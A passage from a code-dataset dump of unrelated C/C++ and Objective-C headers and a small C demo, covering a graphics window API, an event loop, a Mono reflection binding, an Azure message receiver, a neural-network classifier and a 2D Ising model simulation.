values in the range [-MAX_BINS, MAX_BINS] */
typedef short BinIndexType;
/* The type used to represent the binsizes. Should be UNSIGNED. If this is
changed, be sure to change the places in epic.c and unepic.c where
binsizes are written or read from files. */
typedef unsigned short BinValueType;
/* Number of possible values for a symbol. This must be at least
(MAX_BINS * 4) (one sign bit, one tag bit)... */
#define NUM_SYMBOL_VALUES 65536
/* Function prototypes. */
void epic_build_pyr( float *image, int x_size, int y_size, int num_levels,
float *lo_filter, float *hi_filter, int filter_size );
void epic_build_level( float *image, int level_x_size, int level_y_size,
float *lo_filter, float *hi_filter,
int filter_size, float *result_block );
void epic_internal_transpose( register float *mat, int rows,
register int cols );
void epic_reflect1( register float *filt, register int x_dim, int y_dim,
int x_pos, int y_pos, register float *result, int f_or_e );
void epic_internal_filter( register float *image, register int x_dim,
register int y_dim, float *filt,
register float *temp, register int x_fdim,
register int y_fdim, int xgrid_start,
int xgrid_step, int ygrid_start, int ygrid_step,
register float *result );
void epic_reflect1( float *filt, int x_dim, int y_dim, int x_pos, int y_pos,
float *result, int f_or_e );
#endif // __EPIC_H_
| 37.465753 | 79 | 0.682998 |
e8b36081cd4bab9e716f10c6f43f14c07e489558 | 8,111 | h | C | src/gbox/platform/window.h | tboox/gbox | 3dc02fafd6b2a4810788365020a2236c6f59db28 | [
"Apache-2.0"
] | 190 | 2016-12-23T10:43:40.000Z | 2022-03-26T20:26:29.000Z | src/gbox/platform/window.h | sinmx/gbox | 79c93130fb26cf4fe8ce9f801781415434fd097c | [
"Apache-2.0"
] | 3 | 2018-05-22T14:30:20.000Z | 2021-07-11T12:45:36.000Z | src/gbox/platform/window.h | sinmx/gbox | 79c93130fb26cf4fe8ce9f801781415434fd097c | [
"Apache-2.0"
] | 28 | 2017-04-07T07:00:53.000Z | 2022-03-01T02:40:04.000Z | /*!The Graphic Box Library
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Copyright (C) 2009 - 2017, TBOOX Open Source Group.
*
* @author ruki
* @file window.h
* @ingroup platform
*
*/
#ifndef GB_PLATFORM_WINDOW_H
#define GB_PLATFORM_WINDOW_H
/* //////////////////////////////////////////////////////////////////////////////////////
* includes
*/
#include "prefix.h"
#include "event.h"
#include "../core/prefix.h"
/* //////////////////////////////////////////////////////////////////////////////////////
* extern
*/
__tb_extern_c_enter__
/* //////////////////////////////////////////////////////////////////////////////////////
* types
*/
/// the window type enum
typedef enum __gb_window_type_e
{
GB_WINDOW_TYPE_NONE = 0
, GB_WINDOW_TYPE_GLUT = 1
, GB_WINDOW_TYPE_IOS = 2
, GB_WINDOW_TYPE_ANDROID = 3
, GB_WINDOW_TYPE_SDL = 4
, GB_WINDOW_TYPE_X11 = 5
}gb_window_type_e;
/// the window mode enum
typedef enum __gb_window_mode_e
{
GB_WINDOW_MODE_NONE = 0
, GB_WINDOW_MODE_GL = 1
, GB_WINDOW_MODE_BITMAP = 2
}gb_window_mode_e;
/// the window flag enum
typedef enum __gb_window_flag_e
{
GB_WINDOW_FLAG_NONE = 0
, GB_WINDOW_FLAG_FULLSCREEN = 1
, GB_WINDOW_FLAG_HIHE_TITLEBAR = 2
, GB_WINDOW_FLAG_HIHE_CURSOR = 4
, GB_WINDOW_FLAG_NOT_REISZE = 8
}gb_window_flag_e;
/// the window type
typedef struct{}* gb_window_ref_t;
/*! the window init func type
*
* @param window the window
* @param canvas the canvas
* @param priv the user private data
*
* @return tb_true or tb_false
*/
typedef tb_bool_t (*gb_window_init_func_t)(gb_window_ref_t window, gb_canvas_ref_t canvas, tb_cpointer_t priv);
/*! the window exit func type
*
* @param window the window
* @param canvas the canvas
* @param priv the user private data
*/
typedef tb_void_t (*gb_window_exit_func_t)(gb_window_ref_t window, gb_canvas_ref_t canvas, tb_cpointer_t priv);
/*! the window draw func type
*
* @param window the window
* @param canvas the canvas
* @param priv the user private data
*/
typedef tb_void_t (*gb_window_draw_func_t)(gb_window_ref_t window, gb_canvas_ref_t canvas, tb_cpointer_t priv);
/*! the window resize func type
*
* @param window the window
* @param canvas the canvas
* @param priv the user private data
*/
typedef tb_void_t (*gb_window_resize_func_t)(gb_window_ref_t window, gb_canvas_ref_t canvas, tb_cpointer_t priv);
/*! the window event func type
*
* @param window the window
* @param event the event
* @param priv the user private data
*/
typedef tb_void_t (*gb_window_event_func_t)(gb_window_ref_t window, gb_event_ref_t event, tb_cpointer_t priv);
/// the window info type
typedef struct __gb_window_info_t
{
/// the window title
tb_char_t const* title;
/// the framerate
tb_uint8_t framerate;
/// the flag
tb_uint8_t flag;
/// the width
tb_uint16_t width;
/// the height
tb_uint16_t height;
/// the init func
gb_window_init_func_t init;
/// the exit func
gb_window_exit_func_t exit;
/// the draw func
gb_window_draw_func_t draw;
/// the resize func
gb_window_resize_func_t resize;
/// the event func
gb_window_event_func_t event;
/// the user private data
tb_cpointer_t priv;
/*! the hint data
*
* - framebuffer: the device name, .e.g: "/dev/fb0", ...
*/
tb_cpointer_t hint;
}gb_window_info_t, *gb_window_info_ref_t;
/* //////////////////////////////////////////////////////////////////////////////////////
* interfaces
*/
/*! init window
*
* @param info the window info
*
* @return the window
*/
gb_window_ref_t gb_window_init(gb_window_info_ref_t info);
#ifdef GB_CONFIG_PACKAGE_HAVE_GLUT
/*! init glut window
*
* @param info the window info
*
* @return the window
*/
gb_window_ref_t gb_window_init_glut(gb_window_info_ref_t info);
#endif
#ifdef GB_CONFIG_PACKAGE_HAVE_SDL
/*! init sdl window
*
* @param info the window info
*
* @return the window
*/
gb_window_ref_t gb_window_init_sdl(gb_window_info_ref_t info);
#endif
#ifdef GB_CONFIG_PACKAGE_HAVE_X11
/*! init x11 window
*
* @param info the window info
*
* @return the window
*/
gb_window_ref_t gb_window_init_x11(gb_window_info_ref_t info);
#endif
/*! exit window
*
* @param window the window
*/
tb_void_t gb_window_exit(gb_window_ref_t window);
/*! the window type
*
* @param window the window
*
* @return the type
*/
tb_size_t gb_window_type(gb_window_ref_t window);
/*! the window mode
*
* @param window the window
*
* @return the mode
*/
tb_size_t gb_window_mode(gb_window_ref_t window);
/*! the window flag
*
* @param window the window
*
* @return the flag
*/
tb_size_t gb_window_flag(gb_window_ref_t window);
/*! loop window
*
* @param window the window
*/
tb_void_t gb_window_loop(gb_window_ref_t window);
/*! the window pixfmt
*
* @param window the window
*
* @return the pixfmt
*/
tb_size_t gb_window_pixfmt(gb_window_ref_t window);
/*! the window width
*
* @param window the window
*
* @return the width
*/
tb_size_t gb_window_width(gb_window_ref_t window);
/*! the window height
*
* @param window the window
*
* @return the height
*/
tb_size_t gb_window_height(gb_window_ref_t window);
/*! the window title
*
* @param window the window
*
* @return the title
*/
tb_char_t const* gb_window_title(gb_window_ref_t window);
/*! the window bitmap for the bitmap mode
*
* @param window the window
*
* @return the bitmap if be the bitmap mode, otherwise null
*/
gb_bitmap_ref_t gb_window_bitmap(gb_window_ref_t window);
/*! the window framerate
*
* @param window the window
*
* @return the framerate
*/
gb_float_t gb_window_framerate(gb_window_ref_t window);
/*! enter or leave the fullscreen only for the desktop window
*
* @param window the window
* @param fullscreen is fullscreen?
*/
tb_void_t gb_window_fullscreen(gb_window_ref_t window, tb_bool_t fullscreen);
/*! the window timer
*
* @note the timer task will be called in the draw loop
*
* @param window the window
*
* @return the timer
*/
tb_timer_ref_t gb_window_timer(gb_window_ref_t window);
/* //////////////////////////////////////////////////////////////////////////////////////
* extern
*/
__tb_extern_c_leave__
#endif
| 25.83121 | 123 | 0.585994 |
e8f42f305d02f395aa41595ce0fc37d15f588b73 | 675 | h | C | src/inc/pdg/app/MessageView.h | ezavada/pdg | c7260ede7efb2cba313b9413be57cb5bb222b716 | [
"BSD-2-Clause"
] | null | null | null | src/inc/pdg/app/MessageView.h | ezavada/pdg | c7260ede7efb2cba313b9413be57cb5bb222b716 | [
"BSD-2-Clause"
] | null | null | null | src/inc/pdg/app/MessageView.h | ezavada/pdg | c7260ede7efb2cba313b9413be57cb5bb222b716 | [
"BSD-2-Clause"
] | null | null | null | // -----------------------------------------------
// MessageView.h
//
// Definitions for a view that can draw a text message
//
// Copyright (c) 2004, Pixel Dust Games, LLC.
// All Rights Reserved.
// -----------------------------------------------
#ifndef PDG_MESSAGEVIEW_H_INCLUDED
#define PDG_MESSAGEVIEW_H_INCLUDED
#include "pdg/app/View.h"
#include <string>
namespace pdg {
class MessageView : public View
{
public:
MessageView(Controller* controller, const Rect& viewRect, std::string& message);
~MessageView();
void loadImages();
void drawSelf();
private:
std::string mMessageString;
};
} // close namespace pdg
#endif // PDG_MESSAGEVIEW_H_INCLUDED
| 18.243243 | 81 | 0.622222 |
79691efe69efb115651ac89b519a3c46d576dd53 | 872 | h | C | System/Library/PrivateFrameworks/UIKitCore.framework/_UIDropInteractionWeakWrapper.h | lechium/iOS1351Headers | 6bed3dada5ffc20366b27f7f2300a24a48a6284e | [
"MIT"
] | 2 | 2021-11-02T09:23:27.000Z | 2022-03-28T08:21:57.000Z | System/Library/PrivateFrameworks/UIKitCore.framework/_UIDropInteractionWeakWrapper.h | lechium/iOS1351Headers | 6bed3dada5ffc20366b27f7f2300a24a48a6284e | [
"MIT"
] | null | null | null | System/Library/PrivateFrameworks/UIKitCore.framework/_UIDropInteractionWeakWrapper.h | lechium/iOS1351Headers | 6bed3dada5ffc20366b27f7f2300a24a48a6284e | [
"MIT"
] | 1 | 2022-03-28T08:21:59.000Z | 2022-03-28T08:21:59.000Z | /*
* This header is generated by classdump-dyld 1.5
* on Friday, April 30, 2021 at 11:35:10 AM Mountain Standard Time
* Operating System: Version 13.5.1 (Build 17F80)
* Image Source: /System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore
* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. Updated by Kevin Bradley.
*/
@class UIDropInteraction;
@interface _UIDropInteractionWeakWrapper : NSObject {
UIDropInteraction* _dropInteraction;
}
@property (nonatomic,__weak,readonly) UIDropInteraction * dropInteraction; //@synthesize dropInteraction=_dropInteraction - In the implementation block
-(UIDropInteraction *)dropInteraction;
-(id)initWithDropInteraction:(id)arg1 ;
@end
| 37.913043 | 164 | 0.654817 |
5eaeb218bec7ce43019b040f54876329dd0c44c7 | 2,620 | h | C | MonoNative/mscorlib/System/Reflection/Emit/mscorlib_System_Reflection_Emit_LocalBuilder.h | brunolauze/MonoNative | 959fb52c2c1ffe87476ab0d6e4fcce0ad9ce1e66 | [
"BSD-2-Clause"
] | 7 | 2015-03-10T03:36:16.000Z | 2021-11-05T01:16:58.000Z | MonoNative/mscorlib/System/Reflection/Emit/mscorlib_System_Reflection_Emit_LocalBuilder.h | brunolauze/MonoNative | 959fb52c2c1ffe87476ab0d6e4fcce0ad9ce1e66 | [
"BSD-2-Clause"
] | 1 | 2020-06-23T10:02:33.000Z | 2020-06-24T02:05:47.000Z | MonoNative/mscorlib/System/Reflection/Emit/mscorlib_System_Reflection_Emit_LocalBuilder.h | brunolauze/MonoNative | 959fb52c2c1ffe87476ab0d6e4fcce0ad9ce1e66 | [
"BSD-2-Clause"
] | null | null | null | #ifndef __MONO_NATIVE_MSCORLIB_SYSTEM_REFLECTION_EMIT_LOCALBUILDER_H
#define __MONO_NATIVE_MSCORLIB_SYSTEM_REFLECTION_EMIT_LOCALBUILDER_H
#include <mscorlib/System/Reflection/mscorlib_System_Reflection_LocalVariableInfo.h>
#include <mscorlib/System/Runtime/InteropServices/mscorlib_System_Runtime_InteropServices__LocalBuilder.h>
#include <mscorlib/System/mscorlib_System_Object.h>
namespace mscorlib
{
namespace System
{
class String;
class Type;
}
}
namespace mscorlib
{
namespace System
{
namespace Reflection
{
namespace Emit
{
class LocalBuilder
: public mscorlib::System::Reflection::LocalVariableInfo
, public virtual mscorlib::System::Runtime::InteropServices::_LocalBuilder
{
public:
LocalBuilder(mscorlib::NativeTypeInfo *nativeTypeInfo)
: mscorlib::System::Reflection::LocalVariableInfo(nativeTypeInfo)
, mscorlib::System::Runtime::InteropServices::_LocalBuilder(NULL)
{
};
LocalBuilder(MonoObject *nativeObject)
: mscorlib::System::Reflection::LocalVariableInfo(nativeObject)
, mscorlib::System::Runtime::InteropServices::_LocalBuilder(nativeObject)
{
};
~LocalBuilder()
{
};
LocalBuilder & operator=(LocalBuilder &value) { __native_object__ = value.GetNativeObject(); return value; };
bool operator==(LocalBuilder &value) { return mscorlib::System::Object::Equals(value); };
operator MonoObject*() { return __native_object__; };
MonoObject* operator=(MonoObject* value) { return __native_object__ = value; };
void SetLocalSymInfo(mscorlib::System::String name, mscorlib::System::Int32 startOffset, mscorlib::System::Int32 endOffset);
void SetLocalSymInfo(const char *name, mscorlib::System::Int32 startOffset, mscorlib::System::Int32 endOffset);
void SetLocalSymInfo(mscorlib::System::String name);
void SetLocalSymInfo(const char *name);
virtual MonoObject* GetNativeObject() override { return __native_object__; };
//Public Properties
__declspec(property(get=get_LocalType)) mscorlib::System::Type LocalType;
__declspec(property(get=get_IsPinned)) mscorlib::System::Boolean IsPinned;
__declspec(property(get=get_LocalIndex)) mscorlib::System::Int32 LocalIndex;
//Get Set Properties Methods
// Get:LocalType
mscorlib::System::Type get_LocalType() const;
// Get:IsPinned
mscorlib::System::Boolean get_IsPinned() const;
// Get:LocalIndex
mscorlib::System::Int32 get_LocalIndex() const;
protected:
private:
};
}
}
}
}
#endif
| 29.111111 | 130 | 0.721374 |
9f992f4a2af917cfce9acc767bbcb0e444f5fd63 | 2,012 | c | C | demo/azure_recv.c | UWIT-IAM/iam-messaging-c | a90f47a4a8a7b35c625acd37c8f8b639919a2ed2 | [
"Apache-2.0"
] | null | null | null | demo/azure_recv.c | UWIT-IAM/iam-messaging-c | a90f47a4a8a7b35c625acd37c8f8b639919a2ed2 | [
"Apache-2.0"
] | null | null | null | demo/azure_recv.c | UWIT-IAM/iam-messaging-c | a90f47a4a8a7b35c625acd37c8f8b639919a2ed2 | [
"Apache-2.0"
] | null | null | null | /* ========================================================================
* Copyright (c) 2013 The University of Washington
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* ========================================================================
*/
/* Tests */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "iam_crypt.h"
#include "iam_msg.h"
#include "cJSON.h"
#include "azure.h"
char *prog;
int debug = 0;
void usage() {
fprintf(stderr, "usage: %s [-c cfg_file] \n", prog);
exit (1);
}
cJSON *config;
int err = 0;
int main(int argc, char **argv) {
char *cfgfile = "demo.conf";
int nrecv = 1;
prog = argv[0];
while (--argc > 0) {
argv++;
if (argv[0][0] == '-') {
switch (argv[0][1]) {
case 'c':
if (--argc<=0) usage();
cfgfile = (++argv)[0];
break;
case 'd':
debug = 1;
break;
case 'n':
if (--argc<=0) usage();
char *s = (++argv)[0];
nrecv = atoi(s);
break;
case '?':
usage();
}
}
}
iam_msgInit(cfgfile);
int nr = 0;
while (nrecv-- != 0) {
AzureMessage *msg = azure_recvMessage("fox-test-1-ns", "fox-test-1", "fox-sub-1");
if (!msg) continue;
if (debug>0) printf ("azmsg[%s]\n", msg->msg);
else printf(".");
azure_deleteMessage(msg);
nr++;
}
printf("\nreceived: %d\n", nr);
exit (0);
}
| 22.606742 | 88 | 0.515408 |
c3ed79ecd3a09662ecda1c48f22dd45f7ee2e8e7 | 997 | h | C | libraries/Maix_KPU/examples/mobilenet_v1/MBNet_1000.h | vanvuongngo/Maixduino | aa6543538ccfb54a89e9922dd38f5b4710a9c2a4 | [
"Apache-2.0"
] | 195 | 2019-04-02T02:28:34.000Z | 2022-03-23T07:45:31.000Z | libraries/Maix_KPU/examples/mobilenet_v1/MBNet_1000.h | vanvuongngo/Maixduino | aa6543538ccfb54a89e9922dd38f5b4710a9c2a4 | [
"Apache-2.0"
] | 106 | 2019-04-03T12:27:01.000Z | 2022-03-25T12:59:33.000Z | libraries/Maix_KPU/examples/mobilenet_v1/MBNet_1000.h | vanvuongngo/Maixduino | aa6543538ccfb54a89e9922dd38f5b4710a9c2a4 | [
"Apache-2.0"
] | 101 | 2019-04-03T06:14:04.000Z | 2022-03-15T06:31:58.000Z | /**
* @file MBNet_1000.h
* @brief Detect object type
* @author Neucrack@sipeed.com
*/
#ifndef __MBNET_1000_H
#define __MBNET_1000_H
#include "Sipeed_OV2640.h"
#include "Sipeed_ST7789.h"
#include <SD.h>
#include <Maix_KPU.h>
#define KMODEL_SIZE (4220 * 1024)
#define STATISTICS_NUM 5
typedef struct{
const char* name;
float sum;
bool updated;
} statistics_t;
class MBNet_1000{
public:
MBNet_1000(KPUClass& kpu, Sipeed_ST7789& lcd, Sipeed_OV2640& camera);
~MBNet_1000();
int begin(const char* kmodel_name);
int detect();
void show();
const char** _names;
private:
KPUClass& _kpu;
Sipeed_ST7789& _lcd;
Sipeed_OV2640& _camera;
uint8_t* _model;
size_t _count;
statistics_t _statistics[STATISTICS_NUM];
float* _result;
uint16_t _index[1000];
void label_init();
void label_get(uint16_t index, float* prob, const char** name);
void label_sort(void);
};
#endif
| 18.462963 | 73 | 0.651956 |
0f55245a451e4c238ccb46365b32ee884e876e75 | 1,892 | h | C | ae.h | guodongxiaren/AE | cff12732a2acea451d7e0755be66a5b3ebcd3390 | [
"BSD-3-Clause"
] | null | null | null | ae.h | guodongxiaren/AE | cff12732a2acea451d7e0755be66a5b3ebcd3390 | [
"BSD-3-Clause"
] | null | null | null | ae.h | guodongxiaren/AE | cff12732a2acea451d7e0755be66a5b3ebcd3390 | [
"BSD-3-Clause"
] | null | null | null | #ifndef __AE_H__
#define __AE_H__
#include <vector>
#include <string>
using namespace std;
namespace ae {
#define AE_OK 0
#define AE_ERR -1
#define AE_NONE 0
#define AE_READABLE 1
#define AE_WRITABLE 2
#define AE_FILE_EVENTS 1
#define AE_TIME_EVENTS 2
#define AE_ALL_EVENTS (AE_FILE_EVENTS|AE_TIME_EVENTS)
#define AE_DONT_WAIT 4
#define AE_NOMORE -1
/* File event class */
class FileEvent
{
private:
int mask; /* one of AE_(READABLE|WRITABLE) */
void *clientData;
};
/* Time event class */
class TimeEvent
{
public:
~TimeEvent();
private:
long long id; /* time event identifier */
long when_sec; /* seconds */
long when_ms; /* milliseconds */
void *clientData;
TimeProc *timeProc;
EventFinalizerProc *finalizerProc;
};
/* A fired event*/
struct FiredEvent
{
it fd;
int mask;
};
/* State of an event based program */
class EventLoop
{
public:
EventLoop(int setsize);
~EventLoop();
void restStop();
int createFileEvent(int fd, int mask, FileProc *proc, void *clientData);
void deleteFileEvent(int fd, int mask);
int getFileEvents(int fd);
long long createTimeEvent(long long milliseconds, aeTimeProc *proc,
void *clientData, EventFinalizerProc *finalizerProc);
int deleteTimeEvent(long long id);
int processEvents(int flags);
int wait(int fd, int mask, long long milliseconds);
void main();
string getApiName();
void setBeforeSleepProc(BeforeSleepProc *beforesleep);
int getSetSize();
int resizeSetSize();
private:
TimeEvent& searchNearestTimer();
int maxfd; /* highest file descriptor currently registered */
int setsize; /* max number of file descriptors tracked */
long long timeEventNextId;
time_t lastTime; /* Used to detect system clock skew */
vector<FileEvent> events;
vector<FiredEvent> fired;
list<TimeEvent> timeEvents;
int stop;
void *apidata;
BeforeSleepProc *beforesleep;
};
}
#endif | 18.92 | 77 | 0.725159 |
669860115e82187b29de98e18ed26f321a3efa4b | 1,161 | h | C | inetsrv/intlwb/kor2/src/uni.h | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | inetsrv/intlwb/kor2/src/uni.h | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | inetsrv/intlwb/kor2/src/uni.h | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | // uni.h
// Unicode api
// Copyright 1998 Microsoft Corp.
//
// Modification History:
// 16 MAR 00 bhshin porting for WordBreaker from uni.c
#ifndef _UNI_H_
#define _UNI_H_
#define HANGUL_CHOSEONG 0x1100
#define HANGUL_CHOSEONG_MAX 0x1159
#define HANGUL_JUNGSEONG 0x1161
#define HANGUL_JUNGSEONG_MAX 0x11A2
#define HANGUL_JONGSEONG 0x11A8
#define HANGUL_JONGSEONG_MAX 0x11F9
// fIsC
//
// return fTrue if the given char is a consonant (ChoSeong or JungSeong)
//
// this assumes that the text has already been decomposed and
// normalized
//
// 24NOV98 GaryKac began
__inline int
fIsC(WCHAR wch)
{
return ((wch >= HANGUL_CHOSEONG && wch <= HANGUL_CHOSEONG_MAX) ||
(wch >= HANGUL_JONGSEONG && wch <= HANGUL_JONGSEONG_MAX)) ? TRUE : FALSE;
}
// fIsV
//
// return fTrue if the given char is a vowel (JongSeong)
//
// this assumes that the text has already been decomposed and
// normalized
//
// 24NOV98 GaryKac began
__inline int
fIsV(WCHAR wch)
{
return (wch >= HANGUL_JUNGSEONG && wch <= HANGUL_JUNGSEONG_MAX) ? TRUE : FALSE;
}
#endif // _UNI_H_
| 22.326923 | 84 | 0.670973 |
68b358c2db3da2149991a675c80b238b5d2a4aa9 | 2,245 | h | C | src/IotDpsClient/DPSService.h | ms-iot/iot-azure-dps-client | e86d331bb4dc36d160cc04b8f97104a35639fc6a | [
"MIT"
] | 9 | 2017-10-06T03:45:21.000Z | 2020-05-05T15:33:54.000Z | src/IotDpsClient/DPSService.h | AzureMentor/iot-azure-dps-client | e86d331bb4dc36d160cc04b8f97104a35639fc6a | [
"MIT"
] | 4 | 2017-10-17T01:59:56.000Z | 2018-02-05T02:26:31.000Z | src/IotDpsClient/DPSService.h | AzureMentor/iot-azure-dps-client | e86d331bb4dc36d160cc04b8f97104a35639fc6a | [
"MIT"
] | 7 | 2017-10-06T18:52:00.000Z | 2020-11-14T19:17:50.000Z | /*
Copyright 2017 Microsoft
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH
THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#pragma once
#include <thread>
#include <atomic>
#include <future>
#include "Utils.h"
class DPSService
{
public:
DPSService(const std::wstring& serviceName);
static void DPSService::Install(const std::wstring& serviceName);
static void DPSService::Uninstall(const std::wstring& serviceName);
static void Run(DPSService &service);
private:
// Methods
static void WINAPI ServiceMain(DWORD argc, LPWSTR *argv);
static void WINAPI ServiceCtrlHandler(DWORD ctrl);
static void ServiceWorkerThread(void* context);
void ServiceWorkerThreadHelper();
void Start();
void Stop();
void Pause();
void Continue();
void Shutdown();
virtual void OnStart();
virtual void OnStop();
// Helpers
void SetServiceStatus(DWORD currentState, DWORD win32ExitCode = NO_ERROR);
void WriteEventLogEntry(const std::wstring& message, WORD type);
void WriteErrorLogEntry(const std::wstring& function, DWORD errorCode = GetLastError());
// Data members
static DPSService* s_service;
std::wstring _name;
SERVICE_STATUS _status;
SERVICE_STATUS_HANDLE _statusHandle;
// threads
Utils::JoiningThread _workerThread;
// Synchronization between worker thread and main thread for exiting...
std::atomic<bool> _stopSignaled;
};
| 32.071429 | 103 | 0.746548 |
be43fdba5285ceb79b7ecdcf00e5cc623f72cc47 | 314 | h | C | iOSStudy/Interview/Block/NKBlockEntry.h | nchkdxlq/iOSStudy | 8febd53409c36655193a62c8362353f3c6eda62e | [
"MIT"
] | null | null | null | iOSStudy/Interview/Block/NKBlockEntry.h | nchkdxlq/iOSStudy | 8febd53409c36655193a62c8362353f3c6eda62e | [
"MIT"
] | null | null | null | iOSStudy/Interview/Block/NKBlockEntry.h | nchkdxlq/iOSStudy | 8febd53409c36655193a62c8362353f3c6eda62e | [
"MIT"
] | null | null | null | //
// NKBlockEntry.h
// Interview
//
// Created by Knox on 2021/5/4.
//
#import <Foundation/Foundation.h>
NS_ASSUME_NONNULL_BEGIN
@interface NKBlockEntry : NSObject
+ (void)entry;
@end
@interface NKBlockEntry ()
@property (nonatomic, assign) NSInteger age;
- (void)play;
@end
NS_ASSUME_NONNULL_END
| 10.466667 | 44 | 0.707006 |
9ca23cdfee4522c1fcb34065d3a4d3c8f2d77066 | 4,838 | h | C | ising/core/ising-2d.h | stone-zeng/ising | f71ebdba0b91d1912620fe2af8fd211aa6075846 | [
"MIT"
] | 1 | 2019-12-06T13:57:43.000Z | 2019-12-06T13:57:43.000Z | ising/core/ising-2d.h | stone-zeng/ising | f71ebdba0b91d1912620fe2af8fd211aa6075846 | [
"MIT"
] | 1 | 2019-08-01T15:56:28.000Z | 2019-08-01T15:56:28.000Z | ising/core/ising-2d.h | stone-zeng/ising | f71ebdba0b91d1912620fe2af8fd211aa6075846 | [
"MIT"
] | 2 | 2020-07-21T15:25:13.000Z | 2021-07-18T18:39:59.000Z | #ifndef ISING_CORE_ISING_2D_H_
#define ISING_CORE_ISING_2D_H_
#include <cmath>
#include <iostream>
#include <string>
#include <vector>
#include "core/ising.h"
ISING_NAMESPACE_BEGIN
// Abstract base class for general 2D Ising model.
// May not be used directly.
class Ising2D
{
public:
Ising2D() = default;
Ising2D(const LatticeSize & size);
Ising2D(const size_t & size);
Ising2D(const size_t & x_size, const size_t & y_size);
// Initialize all the spins to be +1.
virtual void Initialize() = 0;
// Sweep through the lattice once using Metropolis algorithm.
void Sweep(const double & beta, const double & magnetic_h);
void Sweep(const ExpArray & exp_array);
// Calculate physical quantities.
Observable Analysis(const double & magnetic_h) const;
// A complete evaluation process. Should be initialized before!
Observable Evaluate(const double & beta, const double & magnetic_h,
const size_t & iterations, const size_t & n_ensemble, const size_t & n_delta = 1);
// For lattice data generating and convergence analysis.
LatticeInfo EvaluateLatticeData(const double & beta, const double & magnetic_h,
const size_t & iterations);
// Reshape the lattice to be a 1D vector.
// std::vector<int> Renormalize(const size_t & x_scale, const size_t & y_scale);
// Show lattice (including zero padding if existing).
void Show() const;
std::string ShowRow(const size_t & row) const;
protected:
const size_t x_size_;
const size_t y_size_;
// Used for loops concerning boundary conditions.
// They cannot be initialized directly. Use non-const type to be set value afterwards.
size_t x_begin_index_;
size_t x_end_index_;
size_t y_begin_index_;
size_t y_end_index_;
Lattice2D lattice_;
// Sum over the nearest spins.
// It's pure virtual because of the different boundary conditions.
virtual int NearestSum(const size_t & x, const size_t & y) const = 0;
private:
// Pre-evaluate the Metropolis function values (`exp()`).
inline ExpArray InitializeExpArray(const double & beta, const double & magnetic_h)
{
ExpArray exp_array =
{
// spin = +1
std::exp(-2 * beta * (-4.0 + magnetic_h)),
std::exp(-2 * beta * (-3.0 + magnetic_h)),
std::exp(-2 * beta * (-2.0 + magnetic_h)),
std::exp(-2 * beta * (-1.0 + magnetic_h)),
std::exp(-2 * beta * ( 0.0 + magnetic_h)),
std::exp(-2 * beta * ( 1.0 + magnetic_h)),
std::exp(-2 * beta * ( 2.0 + magnetic_h)),
std::exp(-2 * beta * ( 3.0 + magnetic_h)),
std::exp(-2 * beta * ( 4.0 + magnetic_h)),
// spin = -1
std::exp( 2 * beta * (-4.0 + magnetic_h)),
std::exp( 2 * beta * (-3.0 + magnetic_h)),
std::exp( 2 * beta * (-2.0 + magnetic_h)),
std::exp( 2 * beta * (-1.0 + magnetic_h)),
std::exp( 2 * beta * ( 0.0 + magnetic_h)),
std::exp( 2 * beta * ( 1.0 + magnetic_h)),
std::exp( 2 * beta * ( 2.0 + magnetic_h)),
std::exp( 2 * beta * ( 3.0 + magnetic_h)),
std::exp( 2 * beta * ( 4.0 + magnetic_h))
};
for (auto & i : exp_array)
i = i < 1.0 ? i : 1.0;
return exp_array;
}
};
// 2D Ising model with periodic boundary condition.
class Ising2D_PBC : public Ising2D
{
public:
using Ising2D::Ising2D;
Ising2D_PBC(const LatticeSize & size);
Ising2D_PBC(const size_t & size);
Ising2D_PBC(const size_t & x_size, const size_t & y_size);
void Initialize() override;
private:
inline size_t XPlusOne (const size_t & x) const { return (x == x_size_ - 1 ? 0 : x + 1); }
inline size_t XMinusOne(const size_t & x) const { return (x == 0 ? x_size_ - 1 : x - 1); }
inline size_t YPlusOne (const size_t & y) const { return (y == y_size_ - 1 ? 0 : y + 1); }
